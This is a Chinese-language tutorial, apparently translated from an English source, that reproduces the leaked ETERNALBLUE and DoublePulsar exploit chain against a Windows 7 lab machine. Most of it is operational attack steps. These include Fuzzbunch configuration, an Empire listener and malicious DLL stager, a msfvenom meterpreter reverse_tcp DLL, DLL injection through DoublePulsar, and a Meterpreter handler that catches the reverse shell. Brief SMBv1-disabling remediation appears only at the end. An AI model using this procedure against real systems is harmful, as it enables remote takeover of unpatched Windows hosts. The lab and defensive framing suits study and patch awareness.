方程式0day ETERNALBLUE复现之Empire & Msfconsole下的shell获取
在本文中我将为大家复现在前段时间被曝出的,方程式0day Eternalblue的利用过程。Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞。从涵盖的操作系统版本来看,Eternalblue针对的范围也非常广泛。从Windows XP到Windows Server 2012都为其攻击对象。而Windows 10和Windows Server 2016,则并不在其利用范围。但很可能在不久后Eternalblue可能会被再次修改,因此我们应该时刻保持警惕!
Eternalblue(永恒之蓝)只是影子经纪人公布的Windows零日漏洞利用工具系列中的一款。除此之外,以“永恒”为前缀名的漏洞利用工具还有例如Eternalromance, Eternalchampion 和 Eternalsynergy,所有这些都是针对近期的Windows操作系统的。为了配置和执行对攻击目标的成功利用,其中有一款名为Fuzzbunch的漏洞利用框架,该框架基于Python 2.6开发与Metasploit框架颇为相似。在以下演示中,我将首先安装最基本的漏洞利用环境并配置Fuzzbunch,最终我将会通过Empire&Meterpreter来获取Windows 7的反弹shell。
配置Fuzzbunch并创建基本利用环境
为了达到更好的实验效果,我们将需要配备以下系统环境:
- Windows 7 64-bit 作为被攻击目标。IP:10.11.1.253
- Windows 7 作为Windows攻击机,并运行Fuzzbunch。IP: 10.11.1.251
- Kali Linux 作为另一台攻击机,并运行Empire framework。IP: 10.11.1.16
在我们正式开始实验之前,我们还需要在Windows 和Kali Linux攻击机上进行一些相应的环境部署。
Windows 7相关环境的安装配置
在Windows 7攻击机上,我们需要安装Python 2.6和PyWin32 v212。安装文件可以在这里下载:
Python 2.6: https://www.python.org/download/releases/2.6/
PyWin32 v212: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/
按照基本安装步骤首先安装Python,然后再安装PyWin32。这里需要注意的是,安装PyWin32务必以管理员身份进行,否则可能会出现报错。如果你需要再次运行安装后的脚本,则可以在以下目录中找到:
C: \Python26\Scripts
在Kali Linux上安装Empire Framework
在Kali Linux上,我们需要安装可从Github获取的Empire框架:
Empire framework: https://github.com/EmpireProject/Empire
在Kali Linux上安装Empire Framework非常简单,只需运行./setup/install.sh脚本即可一键安装,然后运行./empire就可以启动Empire。
配置Fuzzbunch
接下来,我们就可以到Github上下载Shadow Brokers泄露的NSA工具并将其解压到桌面。这里需要注意的是,当你从Github下载转储时,你必须要在包含fb.py(Fuzzbunch)文件的Windows目录中,创建一个名为“listeningspost”的新文件夹。
最后编辑名为fuzz bund.xml的Fuzzy Bunch配置文件,并设置相应的ResourcesDir和LogDir参数:
现在我们就可以通过命令行来执行fb.py文件,启动Fuzzbunch。至此应该没有任何报错:
如果你看到了关于缺少DLL或导入的错误提示,请确保是否已正确安装了PyWin32,并且安装后脚本是否成功完成。
配置和执行Eternalblue
至此,我们已经具备了Eternalblue漏洞利用的所有条件。执行Eternalblue需要一个目标IP和回调IP地址。这里的目标地址则为10.11.1.253(Windows 7 64-bit),而反弹地址则为 10.11.1.251(Windows 7)。
接下来需要我们配置和指定是否重定向,和日志记录相关的一些参数,并在Fuzzbunch中创建一个新的项目。我们不会使用重定向,因此输入“no”,然后按Enter键继续。继续按回车键保持默认选项。然后我们选择选项4(或没有现有项目时为0)创建一个新项目,并将其命名为任何你喜欢的项目名称,并选择为你的新项目使用默认的日志记录位置。
要查看全部加载的插件/exploit类型,可以使用’use’命令。选择使用Eternalblue插件,请键入以下命令:
use Eternalblue
接着Fuzzbunch会询问我们是否提示进行变量设置,我们选择yes。传输方式我们选择1‘FB’。
最后会询问我们,是否要执行插件:
如果一切顺利,Fuzzbunch将输出Eternalblue成功的提示:
配置Empire 侦听和反向DLL shell
首先,我们在Empire中设置一个侦听处理程序,并生成一个包含反向shell的恶意DLL文件。首先我们使用Empire命令创建一个监听器:
listeners set Name Eternalblue set Host http://10.11.1.16 set Port 4444 execute
输入完成后,你可以使用list命令来检查配置内容是否正确:
接着,我们使用以下命令来创建一个包含反向shell的恶意DLL文件:
usestager dll Eternalblue set Arch x64 set OutFile /var/www/html/launcher.dll execute
DLL文件现在存储在Web根目录下。要将DLL传输到另一台Windows 7攻击机上,只需使用以下命令启动Apache Webserver即可:
service apache2 start
现在我们就可以使用浏览器,从Windows 7攻击机上下载DLL文件了。 我们将launcher.dll文件存储在Windows文件夹中。
Msfvenom恶意DLL文件的创建
除此之外,你还可以使用msfvenom来生成恶意DLL文件,并使用多处理程序设置监听:
msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 –platform windows -f dll LHOST=192.168.1.16 LPORT=4444 > /var/www/html/launcher.dll
以上命令将使用msfvenom,生成一个Meterpreter的有效载荷:
DoublePulsar
下一步是运行DoublePulsar并注入恶意的launcher.dll文件。在Fuzzbunch中键入以下命令以使用DoublePulsar:
use DoublePulsar
接着DoublePulsar会为我们显示相关的目标参数,如果你的攻击目标为不同的架构,则需要选择对应的系统架构(32或64bit)。其他变量我们只需保持默认不变即可,直到功能选项出现。
在接下来的功能选项中,我们选择2注入并运行一个DLL文件(我们之前生成的恶意DLL文件)。
然后我们需要输入DLL文件的位置,以及其他一些选项我们默认回车即可。
选择所有其他变量设置的默认选项,直到Fuzzbunch询问我们是否要执行DoublePulsar:
如果一切顺利,DoublePulsar将输出DoublePulsar成功的提示:
当我们切换到运行Empire监听器的Kali Linux虚拟机时,我们应该已经获取到了目标机器的一个反向shell,但是我们无法与之进行交互:
将Empire shell切换为Meterpreter shell
让我们来尝试下,是否可以将Empire shell切换为Meterpreter shell。我们运行以下命令设置侦听:
use exploit/multi/handler set payload windows/meterpreter/reverse_https set lhost 10.11.1.16 set lport 5555 run
现在,让我们再次切换回Empire并运行以下命令:
usemodule code_execution/invoke_shellcode set Lhost 10.11.1.16 set Lport 5555 execute
当我们再次切换回Metasploit时,我们应该已经收到了一个Meterpreter shell:
修复建议
微软已于2017年3月份就修补了Eternalblue漏洞。如果您尚未安装补丁程序,建议您在短时间内完成此操作。另一个有效的方法是在Windows机器上禁用SMBv1。
要在Windows 8和Windows Server 2012上禁用SMBv1,请打开Windows Powershell并运行以下命令以禁用SMBv1:
Set-SmbServerConfiguration -EnableSMB1Protocol $false
使用以下命令检查SMBv1是否已被禁用:
Get-SmbServerConfiguration | Select EnableSMB1Protocol, EnableSMB2Protocol
在PowerShell中运行以下cmdlet,禁用Windows 7,Windows Server 2008 R2,Windows Vista和Windows Server 2008上的SMBv1协议:
Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” SMB1 -Type DWORD -Value 0 -Force
总结
在本教程中我们学会了,如何使用Eternalblue远程利用SMBv1协议中的漏洞。虽然Eternalblue相比MS08-067利用起来并不轻松,但其效果都是一样的。同时,也希望通过这个例子让大家意识到定期更新Windows系统的重要性,以及技术更新换代的必要性。想要了解更多关于Eternalblue的内容,你可以查看 CVE-2017-0143 以及微软关于MS17-010的相关安全公告。
*参考来源:hackingtutorials,FB小编 secist 编译,转载请注明来自FreeBuf(FreeBuf.COM)